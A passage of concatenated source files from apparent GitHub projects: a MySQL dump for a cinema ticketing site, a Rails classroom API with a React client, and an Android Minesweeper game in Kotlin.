varchar(1) NOT NULL, `username_konsumen` varchar(12) NOT NULL, `password_konsumen` varchar(60) NOT NULL, `email_konsumen` varchar(50) NOT NULL, `phone_konsumen` varchar(20) NOT NULL, `saldo_konsumen` int(10) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `konsumen` -- INSERT INTO `konsumen` (`id_konsumen`, `fname_konsumen`, `lname_konsumen`, `jk_konsumen`, `username_konsumen`, `password_konsumen`, `email_konsumen`, `phone_konsumen`, `saldo_konsumen`) VALUES (00001, 'Aa', 'Suhendar', 'L', 'batim', '$2y$10$OOMXWlm54W6quPqO1sXg1u3RAEXUWu6uAsJVFkvY07acLU5oTpb7O', '<EMAIL>', '081111111111', 745000), (00002, 'Marion', 'Jola', 'P', 'marion', '$2y$10$I3J6FKXcRXM15mJduoQE/ewAqPApZwP5b6gfa2spVnBG2Zz0Kr5nG', '<EMAIL>', '131313', 10761111), (00003, 'Konsumen', 'Konsumen', 'P', 'konsumen', '$2y$10$OmdJATiARcc0j1IVaMhnH.2tJK/Iyd0Jd0WhfMnBudJf1AvgD/igm', '<EMAIL>', '0812387236278', 0); -- -------------------------------------------------------- -- -- Table structure for table `studio` -- CREATE TABLE `studio` ( `id` int(11) NOT NULL, `nama` varchar(20) NOT NULL, `kapasitas` int(3) NOT NULL, `harga` int(6) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `studio` -- INSERT INTO `studio` (`id`, `nama`, `kapasitas`, `harga`) VALUES (5, 'Platinum', 40, 35000); -- -------------------------------------------------------- -- -- Table structure for table `tayang` -- CREATE TABLE `tayang` ( `id` int(5) NOT NULL, `tanggal_awal` date NOT NULL, `tanggal_akhir` date NOT NULL, `id_film` int(5) NOT NULL, `id_studio` int(3) NOT NULL, `jam1` time NOT NULL, `jam2` time DEFAULT NULL, `jam3` time DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `tayang` -- INSERT INTO `tayang` (`id`, `tanggal_awal`, `tanggal_akhir`, `id_film`, `id_studio`, `jam1`, `jam2`, `jam3`) VALUES (2, '2018-07-01', '2018-07-31', 1, 5, '13:24:00', '12:25:00', '12:23:00'), (3, '2018-07-18', '2019-06-19', 2, 5, '10:00:00', '15:00:00', '18:00:00'), (4, '2018-07-18', '2019-08-13', 3, 5, '08:00:00', '12:00:00', '14:00:00'); -- -------------------------------------------------------- -- -- Table structure for table `tiket` -- CREATE TABLE `tiket` ( `id` int(5) NOT NULL, `tanggal` date NOT NULL, `tanggal_tonton` date NOT NULL, `id_konsumen` int(5) UNSIGNED ZEROFILL NOT NULL, `film_id` int(5) NOT NULL, `judul` varchar(50) NOT NULL, `id_studio` int(5) NOT NULL, `nama_studio` varchar(15) NOT NULL, `seat` varchar(30) NOT NULL, `jam_tonton` time NOT NULL, `jumlah_orang` int(3) NOT NULL, `harga` int(6) NOT NULL, `total_harga` int(10) NOT NULL, `kodebooking` varchar(15) NOT NULL, `status` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `tiket` -- INSERT INTO `tiket` (`id`, `tanggal`, `tanggal_tonton`, `id_konsumen`, `film_id`, `judul`, `id_studio`, `nama_studio`, `seat`, `jam_tonton`, `jumlah_orang`, `harga`, `total_harga`, `kodebooking`, `status`) VALUES (1, '2018-07-01', '2018-07-01', 00001, 1, 'The Matrix Reloaded', 5, 'Platinum', 'A1 ', '13:24:00', 1, 35000, 35000, 'BCERIAX3FGU', 'Out Of Date'), (2, '2018-07-09', '2018-07-09', 00002, 1, 'The Matrix Reloaded', 5, 'Platinum', 'B1 C1 B2 C2 ', '13:24:00', 4, 35000, 140000, 'BCERIALPNEF', 'Out Of Date'), (3, '2018-07-09', '2018-07-09', 00002, 1, 'The Matrix Reloaded', 5, 'Platinum', 'A5 B5 C5 D5 E5 F5 ', '13:24:00', 6, 35000, 210000, 'BCERIAFDUSK', 'Out Of Date'), (4, '2018-07-18', '2018-07-18', 00001, 1, 'The Matrix Reloaded', 5, 'Platinum', 'A1 B1 ', '13:24:00', 2, 35000, 70000, 'BCERIALDTXP', 'Out Of Date'), (5, '2018-06-18', '2018-07-10', 00001, 1, 'The Matrix Reloaded', 5, 'Platinum', 'B5 C5 ', '12:23:00', 2, 35000, 70000, 'BCERIA64285', 'Out Of Date'), (6, '2018-07-18', '2018-07-18', 00001, 1, 'The Matrix Reloaded', 5, 'Platinum', 'C1 D1 ', '12:25:00', 2, 35000, 70000, 'BCERIA4RIIW', 'Out Of Date'), (7, '2018-07-20', '2018-07-20', 00001, 1, 'The Matrix Reloaded', 5, 'Platinum', 'A1 A2 ', '12:25:00', 2, 35000, 70000, 'BCERIAH9MBD', 'Out Of Date'); -- -------------------------------------------------------- -- -- Table structure for table `topup` -- CREATE TABLE `topup` ( `id` int(5) NOT NULL, `tanggal` date NOT NULL, `id_konsumen` int(5) UNSIGNED ZEROFILL NOT NULL, `uang` int(6) NOT NULL, `kode_topup` varchar(30) NOT NULL, `status` varchar(30) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `topup` -- INSERT INTO `topup` (`id`, `tanggal`, `id_konsumen`, `uang`, `kode_topup`, `status`) VALUES (1, '2018-07-01', 00001, 50000, 'VOCP5N33C2YGZ', 'Approved'), (2, '2018-07-09', 00002, 11111111, 'VOCXPZNAMBII5', 'Approved'), (3, '2018-07-18', 00001, 1000000, 'VOCTQP2XFW7IL', 'Approved'), (4, '2018-07-18', 00001, 10000, 'VOCPD0L6LGU25', 'Approved'); -- -- Indexes for dumped tables -- -- -- Indexes for table `admin` -- ALTER TABLE `admin` ADD PRIMARY KEY (`id_admin`); -- -- Indexes for table `film` -- ALTER TABLE `film` ADD PRIMARY KEY (`id_film`), ADD KEY `id_film` (`id_film`), ADD KEY `id_film_2` (`id_film`), ADD KEY `film_ibfk_1` (`id_kasir`); -- -- Indexes for table `kasir` -- ALTER TABLE `kasir` ADD PRIMARY KEY (`id_kasir`), ADD KEY `id_admin` (`id_admin`); -- -- Indexes for table `konsumen` -- ALTER TABLE `konsumen` ADD PRIMARY KEY (`id_konsumen`); -- -- Indexes for table `studio` -- ALTER TABLE `studio` ADD PRIMARY KEY (`id`); -- -- Indexes for table `tayang` -- ALTER TABLE `tayang` ADD PRIMARY KEY (`id`), ADD KEY `id_studio` (`id_studio`), ADD KEY `id_film` (`id_film`); -- -- Indexes for table `tiket` -- ALTER TABLE `tiket` ADD PRIMARY KEY (`id`), ADD KEY `id_studio` (`id_studio`), ADD KEY `film_id` (`film_id`), ADD KEY `id_konsumen` (`id_konsumen`); -- -- Indexes for table `topup` -- ALTER TABLE `topup` ADD PRIMARY KEY (`id`), ADD KEY `id_konsumen` (`id_konsumen`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `admin` -- ALTER TABLE `admin` MODIFY `id_admin` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT for table `film` -- ALTER TABLE `film` MODIFY `id_film` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `kasir` -- ALTER TABLE `kasir` MODIFY `id_kasir` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT for table `konsumen` -- ALTER TABLE `konsumen` MODIFY `id_konsumen` int(5) UNSIGNED ZEROFILL NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `studio` -- ALTER TABLE `studio` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6; -- -- AUTO_INCREMENT for table `tayang` -- ALTER TABLE `tayang` MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `tiket` -- ALTER TABLE `tiket` MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT for table `topup` -- ALTER TABLE `topup` MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- Constraints for dumped tables -- -- -- Constraints for table `film` -- ALTER TABLE `film` ADD CONSTRAINT `film_ibfk_1` FOREIGN KEY (`id_kasir`) REFERENCES `kasir` (`id_kasir`); -- -- Constraints for table `kasir` -- ALTER TABLE `kasir` ADD CONSTRAINT `kasir_ibfk_1` FOREIGN KEY (`id_admin`) REFERENCES `admin` (`id_admin`); -- -- Constraints for table `tayang` -- ALTER TABLE `tayang` ADD CONSTRAINT `tayang_ibfk_2` FOREIGN KEY (`id_film`) REFERENCES `film` (`id_film`), ADD CONSTRAINT `tayang_ibfk_3` FOREIGN KEY (`id_studio`) REFERENCES `studio` (`id`); -- -- Constraints for table `tiket` -- ALTER TABLE `tiket` ADD CONSTRAINT `tiket_ibfk_1` FOREIGN KEY (`film_id`) REFERENCES `film` (`id_film`), ADD CONSTRAINT `tiket_ibfk_3` FOREIGN KEY (`id_studio`) REFERENCES `studio` (`id`), ADD CONSTRAINT `tiket_ibfk_4` FOREIGN KEY (`id_konsumen`) REFERENCES `konsumen` (`id_konsumen`); -- -- Constraints for table `topup` -- ALTER TABLE `topup` ADD CONSTRAINT `topup_ibfk_1` FOREIGN KEY (`id_konsumen`) REFERENCES `konsumen` (`id_konsumen`); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
067fcc9cc836f0580bdf7ae5634b235391d0de2f
[ "SQL", "PHP" ]
20
PHP
banqkandar/web_bioskop
d3b2e01dfa5dcc0eb086b261f593588d61c89f65
c2c19947c7ee5619de8761412615db98a6058350
refs/heads/master
<file_sep>class SlideContainer < ActiveRecord::Base belongs_to :course has_many :slides end <file_sep>const ActionType = { Authorization: { REQUEST: '', SUCCESS: '', FAILURE: '', }, Label: { LOAD_ALL_REQUEST: '', LOAD_ALL_SUCCESS: '', LOAD_ALL_FAILURE: '', }, Message: { SELECT: '', }, Request: { START: '', ALL_STOPPED: '', }, } const ActionTypeHax: any = ActionType Object.keys(ActionTypeHax).forEach(category => { Object.keys(ActionTypeHax[category]).forEach(actionType => { ActionTypeHax[category][actionType] = category + '.' + actionType }) }) export default ActionType <file_sep>class MessageSerializer < ActiveModel::Serializer attributes :id, :username, :course_id, :body belongs_to :user belongs_to :course end <file_sep>import tinytinycolor from 'tinytinycolor' import _ from 'lodash' class Color { constructor(stringOrColor) { this._color = new tinytinycolor(stringOrColor) } toString(): string { return this._color.toHexString() } darken(val: number): Color { return new Color(tinytinycolor.darken(this._color, val)) } lighten(val: number): Color { return new Color(tinytinycolor.lighten(this._color, val)) } } export default Color <file_sep>require 'test_helper' class AssignmentsControllerTest < ActionController::TestCase setup do @assignment = assignments(:one) end test "should get index" do get :index assert_response :success end test "should create assignment" do assert_difference('Assignment.count') do post :create, params: { assignment: { course_id: @assignment.course_id, due: @assignment.due, grade: @assignment.grade, user_id: @assignment.user_id, title: @assignment.title, assignmen_type: @assignment.assignment_type } } end assert_response 201 end test "should show assignment" do get :show, params: { id: @assignment } assert_response :success end test "should update assignment" do patch :update, params: { id: @assignment, assignment: { course_id: @assignment.course_id, due: @assignment.due, grade: @assignment.grade, user_id: @assignment.user_id, title: @assignment.title, assignmen_type: @assignment.assignment_type } } assert_response 200 end test "should destroy assignment" do assert_difference('Assignment.count', -1) do delete :destroy, params: { id: @assignment } end assert_response 204 end end <file_sep>class SlideContainerSerializer < ActiveModel::Serializer attributes :id, :course_session_id, :slides has_one :course end <file_sep>import Color from './Color' const Colors = { accent: new Color('#ffca09'), black: new Color('#000'), gray1: new Color('#eee'), gray2: new Color('#ccc'), gray3: new Color('#999'), gray4: new Color('#666'), white: new Color('#fff'), } export default Colors <file_sep>class CourseSerializer < ActiveModel::Serializer attributes :id, :name, :description, :instructor_id has_many :users has_many :slide_containers has_many :assignments has_many :messages end <file_sep>class SlideContainersController < ApplicationController before_action :set_slide_container, only: [:show, :update, :destroy] # GET /slide_containers def index @slide_containers = SlideContainer.all render json: @slide_containers end # GET /slide_containers/1 def show render json: @slide_container end # POST /slide_containers def create @slide_container = SlideContainer.new(slide_container_params) if @slide_container.save render json: @slide_container, status: :created, location: @slide_container else render json: @slide_container.errors, status: :unprocessable_entity end end # PATCH/PUT /slide_containers/1 def update if @slide_container.update(slide_container_params) render json: @slide_container else render json: @slide_container.errors, status: :unprocessable_entity end end # DELETE /slide_containers/1 def destroy @slide_container.destroy end private # Use callbacks to share common setup or constraints between actions. def set_slide_container @slide_container = SlideContainer.find(params[:id]) end # Only allow a trusted parameter "white list" through. def slide_container_params params.require(:slide_container).permit(:course_session_id, :course_id, :slides => [:order_no, :content]) end end <file_sep>Rails.application.routes.draw do resources :slide_containers resources :assignments resources :courses resources :users get '/current_user', to: 'users#current_user' post '/sessions', to: 'sessions#create' post '/course/:id/new_message', to: 'courses#create_message' post '/course/:id/new_assignment', to: 'assignment#create' post 'assignment/:id/submit', to: 'assignment#submit' end <file_sep>class Course < ActiveRecord::Base has_many :assignments has_many :slide_containers has_many :enrollments has_many :messages has_many :users, through: :enrollments accepts_nested_attributes_for :messages end <file_sep>class CoursesController < ApplicationController before_action :set_course, only: [:show, :update, :destroy] before_action :set_user # GET /courses def index if @user.admin? @courses = Course.all else @courses = @user.courses end render json: @courses end # GET /courses/1 def show render json: @course end # POST /courses def create @course = Course.new(course_params) if @course.save render json: @course, status: :created, location: @course else render json: @course.errors, status: :unprocessable_entity end end # POST /courses/1/new_message def create_message @course.messages.creat(course_params[:message]) end # PATCH/PUT /courses/1 def update if @course.update(course_params) render json: @course else render json: @course.errors, status: :unprocessable_entity end end # DELETE /courses/1 def destroy if @user.admin? @course.destroy end end private # Use callbacks to share common setup or constraints between actions. def set_course @course = Course.find(params[:id]) end # Uses the headers from the request and parses the auth token form this to find the current # user based on this as they are unique def set_user @user = User.find_by(authentication_token: headers[:access_token]) end # Only allow a trusted parameter "white list" through. def course_params params.require(:course).permit(:name, :description, :instructor_id, :course_session_id, :message => [:user_id, :content]) end end <file_sep>unless Rails.env.production? users_seed_file = File.join(Rails.root, 'db','seeds', 'users.yml') users_config = YAML::load_file(users_seed_file) User.create(users_config["users"]) courses_seed_file = File.join(Rails.root, 'db','seeds', 'courses.yml') courses_config = YAML::load_file(courses_seed_file) Course.create(courses_config["courses"]) SlideContainer.create(courses_config["slide_containers"]) Slide.create(courses_config["slides"]) Assignment.create(courses_config["assignments"]) Problem.create(courses_config["problems"]) users_config["enrollments"].each do |enroll| user = User.find(enroll["user_id"].to_i) course = Course.find(enroll["courses_id"].to_i) user.courses << course if user.instructor? course.instructor_id = user.id course.save end end end <file_sep>class Enrollment < ActiveRecord::Base belongs_to :course belongs_to :user after_initialize :set_grade def set_grade assignments = Assignment.where(user_id: self.user_id, course_id: self.course_id) base = [] quiz = [] midterm = [] final = [] assignments.each do |assignment| unless assignment.grade.nil? case assignment.assignment_type when "base" base << assignment.grade.to_f when "quiz" quiz << assignment.grade.to_f when "midterm" midterm << assignment.grade.to_f when "final" final << assignment.grade.to_f end end end grade = mean(base) * 0.2 + mean(quiz) * 0.2 + mean(midterm) * 0.3 + mean(final) * 0.3 self.course_grade = grade unless grade.nil? end def sum arr arr.inject(:+) end def mean arr if arr.empty? return 100.0 end sum(arr).to_f / arr.length end end <file_sep>class SessionsController < ApplicationController def create @user = User.find_by(nid: params[:nid]).try(:authenticate, params[:password]) if @user @user.authentication_token = SecureRandom.hex @user.save! render json: { access_token: @user.authentication_token, token_type: "bearer" } else render json: { error: "Invalid Username or Password" }, status: 401 end end end <file_sep>class Message < ActiveRecord::Base after_initialize :set_username belongs_to :user belongs_to :course validates_presence_of :content def set_username self.username = User.find(self.user_id).username end end <file_sep>require 'test_helper' class MessagesControllerTest < ActionController::TestCase setup do @message = messages(:one) end test "should get index" do get :index assert_response :success end test "should create message" do assert_difference('Message.count') do post :create, params: { message: { body: @message.body, course_id: @message.course_id, username: @message.username } } end assert_response 201 end test "should show message" do get :show, params: { id: @message } assert_response :success end test "should update message" do patch :update, params: { id: @message, message: { body: @message.body, course_id: @message.course_id, username: @message.username } } assert_response 200 end test "should destroy message" do assert_difference('Message.count', -1) do delete :destroy, params: { id: @message } end assert_response 204 end end <file_sep>require 'test_helper' class SlideContainersControllerTest < ActionController::TestCase setup do @slide_container = slide_containers(:one) end test "should get index" do get :index assert_response :success end test "should create slide_container" do assert_difference('SlideContainer.count') do post :create, params: { slide_container: { course_id: @slide_container.course_id, course_session_id: @slide_container.course_session_id } } end assert_response 201 end test "should show slide_container" do get :show, params: { id: @slide_container } assert_response :success end test "should update slide_container" do patch :update, params: { id: @slide_container, slide_container: { course_id: @slide_container.course_id, course_session_id: @slide_container.course_session_id } } assert_response 200 end test "should destroy slide_container" do assert_difference('SlideContainer.count', -1) do delete :destroy, params: { id: @slide_container } end assert_response 204 end end <file_sep>class Assignment < ActiveRecord::Base belongs_to :course belongs_to :user has_many :problems accepts_nested_attributes_for :problems enum assignment_type: [:practice, :base, :quiz, :midterm, :final] end <file_sep>import React, { Component, PropTypes } from 'react' import { Link } from 'react-router' const dark = 'hsl(200, 20%, 20%)' const light = '#fff' const styles = {} styles.wrapper = { overflow: 'hidden', background: dark, color: light } styles.link = { padding: 11, color: light, fontWeight: 200 } styles.activeLink = { ...styles.link, background: light, color: dark } export default class Navbar extends Component { constructor(props) { super(props) this.handleKeyUp = this.handleKeyUp.bind(this) this.handleGoClick = this.handleGoClick.bind(this) } componentWillReceiveProps(nextProps) { if (nextProps.value !== this.props.value) { this.setInputValue(nextProps.value) } } getInputValue() { return this.refs.input.value } setInputValue(val) { // Generally mutating DOM is a bad idea in React components, // but doing this for a single uncontrolled field is less fuss // than making it controlled and maintaining a state for it. this.refs.input.value = val } handleKeyUp(e) { if (e.keyCode === 13) { this.handleGoClick() } } handleGoClick() { this.props.onChange(this.getInputValue()) } render() { return ( <div style={styles.wrapper}> <div style={{ float: 'left' }}> <Link to="/" style={styles.link}>Home</Link>{' '} <Link to="/courses" style={styles.link} activeStyle={styles.activeLink}>Courses</Link>{' '} <Link to="/" style={styles.link} activeStyle={styles.activeLink}>Assignments</Link>{' '} </div> <div style={{ float: 'right' }}> Username </div> </div> ) } } Navbar.propTypes = { value: PropTypes.string.isRequired, onChange: PropTypes.func.isRequired } <file_sep>class Problem < ActiveRecord::Base belongs_to :assignment enum problem_type: [:multiple_choice, :true_false, :short_answer] end <file_sep>class AssignmentSerializer < ActiveModel::Serializer attributes :id, :title, :assignment_type, :due, :grade, :course_id, :user_id has_one :course has_one :user has_many :problems end <file_sep>## UCFClassroom ### Prerequisites ####You will need the following things properly installed on your computer. * [Git](http://git-scm.com/) * [Node.js](http://nodejs.org/) (with NPM) * [Ruby](https://www.ruby-lang.org/) * [Vagrant](https://www.vagrantup.com/) ### Development (api) * Open up a terminal window and run the following: ```sh $ cd path/to/projects $ git clone <EMAIL>:ucfpoosd9/UCFClassroom.git $ vagrant up $ # allow this to boot your vagrant box $ vagrant ssh $ # TODO add these to tba.sh $ sudo touch /etc/init.d/port_swap $ sudo chmod 777 /etc/init.d/port_swap $ sudo echo "sudo iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8000" >> /etc/init.d/port_swap $ sudo ln -s /etc/init.d/port_swap /etc/rcS.d/S99port_swap $ cd /srv/UCFClassroom/api $ bundle $ # allow bundler to install the gems $ bin/rails s ``` ### Development (client) * Open up a terminal and run the following: ```sh $ cd client/ $ npm install $ npm start ``` <file_sep>class UserSerializer < ActiveModel::Serializer attributes :id, :first_name, :last_name, :username, :email, :pid, :role has_many :courses has_many :assignments end <file_sep>import { CALL_API, Schemas } from '../middleware/api' export const USER_REQUEST = 'USER_REQUEST' export const USER_SUCCESS = 'USER_SUCCESS' export const USER_FAILURE = 'USER_FAILURE' // Fetches a single user from Github API. // Relies on the custom API middleware defined in ../middleware/api.js. function fetchUser(username) { return { [CALL_API]: { types: [ USER_REQUEST, USER_SUCCESS, USER_FAILURE ], endpoint: `users/${username}`, schema: Schemas.USER } } } // Fetches a single user from Github API unless it is cached. // Relies on Redux Thunk middleware. export function loadUser(username, requiredFields = []) { return (dispatch, getState) => { const user = getState().entities.users[username] if (user && requiredFields.every(key => user.hasOwnProperty(key))) { return null } return dispatch(fetchUser(username)) } } export const COURSE_REQUEST = 'COURSE_REQUEST' export const COURSE_SUCCESS = 'COURSE_SUCCESS' export const COURSE_FAILURE = 'COURSE_FAILURE' // Fetches a single coursesitory from Github API. // Relies on the custom API middleware defined in ../middleware/api.js. function fetchCourse(fullName) { return { [CALL_API]: { types: [ COURSE_REQUEST, COURSE_SUCCESS, COURSE_FAILURE ], endpoint: `courses/${fullName}`, schema: Schemas.COURSE } } } // Fetches a single coursesitory from Github API unless it is cached. // Relies on Redux Thunk middleware. export function loadCourse(fullName, requiredFields = []) { return (dispatch, getState) => { const course = getState().entities.courses[fullName] if (course && requiredFields.every(key => course.hasOwnProperty(key))) { return null } return dispatch(fetchCourse(fullName)) } } export const STARRED_REQUEST = 'STARRED_REQUEST' export const STARRED_SUCCESS = 'STARRED_SUCCESS' export const STARRED_FAILURE = 'STARRED_FAILURE' // Fetches a page of starred courses by a particular user. // Relies on the custom API middleware defined in ../middleware/api.js. function fetchStarred(username, nextPageUrl) { return { username, [CALL_API]: { types: [ STARRED_REQUEST, STARRED_SUCCESS, STARRED_FAILURE ], endpoint: nextPageUrl, schema: Schemas.COURSE_ARRAY } } } // Fetches a page of starred courses by a particular user. // Bails out if page is cached and user didn’t specifically request next page. // Relies on Redux Thunk middleware. export function loadStarred(username, nextPage) { return (dispatch, getState) => { const { nextPageUrl = `users/${username}/starred`, pageCount = 0 } = getState().pagination.starredByUser[username] || {} if (pageCount > 0 && !nextPage) { return null } return dispatch(fetchStarred(username, nextPageUrl)) } } export const USERS_REQUEST = 'userS_REQUEST' export const USERS_SUCCESS = 'userS_SUCCESS' export const USERS_FAILURE = 'userS_FAILURE' // Fetches a page of users for a particular course. // Relies on the custom API middleware defined in ../middleware/api.js. function fetchUsers(fullName, nextPageUrl) { return { fullName, [CALL_API]: { types: [ userS_REQUEST, userS_SUCCESS, userS_FAILURE ], endpoint: nextPageUrl, schema: Schemas.USER_ARRAY } } } // Fetches a page of users for a particular course. // Bails out if page is cached and user didn’t specifically request next page. // Relies on Redux Thunk middleware. export function loadUsers(fullName, nextPage) { return (dispatch, getState) => { const { nextPageUrl = `courses/${fullName}/users`, pageCount = 0 } = getState().pagination.usersByCourse[fullName] || {} if (pageCount > 0 && !nextPage) { return null } return dispatch(fetchUsers(fullName, nextPageUrl)) } } export const RESET_ERROR_MESSAGE = 'RESET_ERROR_MESSAGE' // Resets the currently visible error message. export function resetErrorMessage() { return { type: RESET_ERROR_MESSAGE } } <file_sep>class User < ActiveRecord::Base after_initialize :set_role after_initialize :set_username has_many :enrollments has_many :courses, through: :enrollments has_many :messages has_many :assignments validates_presence_of :email validates_presence_of :nid validates_uniqueness_of :authentication_token, allow_nil: true validates_uniqueness_of :username validates_uniqueness_of :email has_secure_password enum role: [:student, :instructor, :admin] def set_role if self.email.match(/\A([\w\.%\+\-]+)(@ucf\.edu\z)/i) self.role ||= :instructor else self.role ||= :student end end def set_username self.username = self.email[/[^@]+/] end end <file_sep>source 'https://rubygems.org' gem 'rails', github: "rails/rails" gem 'sprockets-rails', github: "rails/sprockets-rails" gem 'sprockets', github: "rails/sprockets" gem 'sass-rails', github: "rails/sass-rails" gem 'arel', github: "rails/arel" gem 'rack', github: "rack/rack" gem 'pg', '~> 0.18' gem 'bcrypt', '~> 3.1.7' gem 'puma' # gem 'capistrano-rails', group: :development gem 'active_model_serializers', '~> 0.10.0.rc2' gem 'rack-cors' group :development, :test do gem 'byebug' end group :development do gem 'spring' end # Windows does not include zoneinfo files, so bundle the tzinfo-data gem gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby] <file_sep>class CreateProblems < ActiveRecord::Migration def change create_table :problems do |t| t.integer :number t.string :question t.string :student_answer t.string :correct_answer t.integer :problem_type t.boolean :correct t.belongs_to :assignment, index: true, foreign_key: true t.timestamps end end end
c6424d5ad07b4e860484a02c2d561defa35bd5a3
[ "JavaScript", "Ruby", "Markdown" ]
28
Ruby
ucfpoosd9/UCFClassroom
01714ab541142be600a3b4a9e16ac69be2b9e7ad
9151af115fd8d519574961566e261f17f35921ee
refs/heads/master
<file_sep>package me.yasoob.minesweeper.view import android.content.Context import android.graphics.* import android.util.AttributeSet import android.view.MotionEvent import android.view.View import me.yasoob.minesweeper.MainActivity import me.yasoob.minesweeper.R import me.yasoob.minesweeper.model.Field import me.yasoob.minesweeper.model.MinesweeperModel class MinesweeperView(context: Context?, attrs: AttributeSet?) : View(context, attrs) { var paintBackground : Paint = Paint() var paintLine : Paint = Paint() var paintText: Paint = Paint() var bitmapExplosion: Bitmap = BitmapFactory.decodeResource( context?.resources, R.drawable.explosion ) var bitmapFlag: Bitmap = BitmapFactory.decodeResource( context?.resources, R.drawable.flag ) init { paintBackground.color = Color.GREEN paintBackground.style = Paint.Style.FILL paintLine.color = Color.WHITE paintLine.style = Paint.Style.STROKE paintLine.strokeWidth = 7f paintText.color = Color.WHITE paintText.style = Paint.Style.FILL_AND_STROKE paintText.strokeWidth = 7f paintText.textSize = 120f paintText.textAlign = Paint.Align.CENTER } override fun onDraw(canvas: Canvas?) { super.onDraw(canvas) if (MinesweeperModel.inProgress) { (context as MainActivity).updateFlagCount( context.getString( R.string.flag_count, MinesweeperModel.flagsLeft() ) ) } canvas?.drawRect(0f, 0f, width.toFloat(), height.toFloat(), paintBackground) drawBoard(canvas) drawMines(canvas) } override fun onSizeChanged(w: Int, h: Int, oldw: Int, oldh: Int) { super.onSizeChanged(w, h, oldw, oldh) bitmapExplosion = Bitmap.createScaledBitmap(bitmapExplosion, width/5, height/5, false) bitmapFlag = Bitmap.createScaledBitmap(bitmapFlag, width/5, height/5, false) } private fun drawBoard(canvas: Canvas?) { // border canvas?.drawRect(0f, 0f, width.toFloat(), height.toFloat(), paintLine) // two horizontal lines for (counter in 1..4){ canvas?.drawLine( 0f, (counter * height / 5).toFloat(), width.toFloat(), (counter * height / 5).toFloat(), paintLine ) } // two vertical lines for (counter in 1..4){ canvas?.drawLine( (counter * width / 5).toFloat(), 0f, (counter * width / 5).toFloat(), height.toFloat(), paintLine ) } } private fun textDrawPosition(row: Int, col: Int): Pair<Float,Float> { var xOffset: Float = (width.toFloat()/5)/2 var yOffset: Float = height.toFloat()/5 - ((paintText.ascent() + paintText.descent())/2) var x: Float = col * width.toFloat()/5 + xOffset var y: Float = (row + 2) * height.toFloat()/5 - yOffset return Pair(x, y) } private fun drawMines(canvas: Canvas?){ for (row in 0..4){ for (col in 0..4) { var fieldContent: Field = MinesweeperModel.getFieldContent(row, col) if (fieldContent.wasClicked && fieldContent.type==MinesweeperModel.MINE && !fieldContent.isFlagged){ canvas?.drawBitmap(bitmapExplosion, col*width.toFloat()/5, row*height.toFloat()/5, null) } else if (fieldContent.isFlagged){ canvas?.drawBitmap(bitmapFlag, col*width.toFloat()/5, row*height.toFloat()/5, null) } else if (fieldContent.wasClicked && fieldContent.type == MinesweeperModel.EMPTY) { var pos = textDrawPosition(row, col) canvas?.drawText(fieldContent.minesAround.toString(), pos.first, pos.second, paintText) } } } } override fun onTouchEvent(event: MotionEvent?): Boolean { if (event?.action == MotionEvent.ACTION_DOWN) { val tX = event.x.toInt() / (width/5) val tY = event.y.toInt() / (height/5) if (tX < 5 && tY < 5 && MinesweeperModel.inProgress){ // Check whether to flag the mine or not and then set field content if ((context as MainActivity).toggleBtnChecked()){ MinesweeperModel.setFieldContent(tY, tX, true) } else { MinesweeperModel.setFieldContent(tY, tX, false) } // Check if user won the game or lost if (MinesweeperModel.didUserWin()){ (context as MainActivity).showStatus(context.getString(R.string.win_msg)) paintBackground.color = Color.LTGRAY MinesweeperModel.inProgress = false (context as MainActivity).updateFlagCount(context.getString(R.string.win_msg)) } else if (MinesweeperModel.didUserLose()) { (context as MainActivity).showStatus(context.getString(R.string.lost_msg)) paintBackground.color = Color.LTGRAY MinesweeperModel.inProgress = false (context as MainActivity).updateFlagCount(context.getString(R.string.lost_msg)) } } invalidate() } return true } fun reset(){ MinesweeperModel.resetArray() paintBackground.color = Color.GREEN MinesweeperModel.inProgress = true invalidate() } }<file_sep>package me.yasoob.minesweeper import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import com.google.android.material.snackbar.Snackbar import kotlinx.android.synthetic.main.activity_main.* class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) resetBtn.setOnClickListener{ minesweeperView.reset() } } fun showStatus(text: String){ Snackbar.make(layoutMain, text, Snackbar.LENGTH_LONG).show() } fun toggleBtnChecked(): Boolean{ return toggleBtn.isChecked } fun updateFlagCount(text: String){ flagsLeft.text = text } } <file_sep>package me.yasoob.minesweeper.model data class Field(var type: Short, var minesAround: Int, var isFlagged: Boolean, var wasClicked: Boolean) object MinesweeperModel { val totalMines: Int = 3 public var inProgress: Boolean = true public val EMPTY: Short = 1 public val MINE: Short = 2 private var fieldMatrix: Array<Array<Field>> = arrayOf( arrayOf( Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( 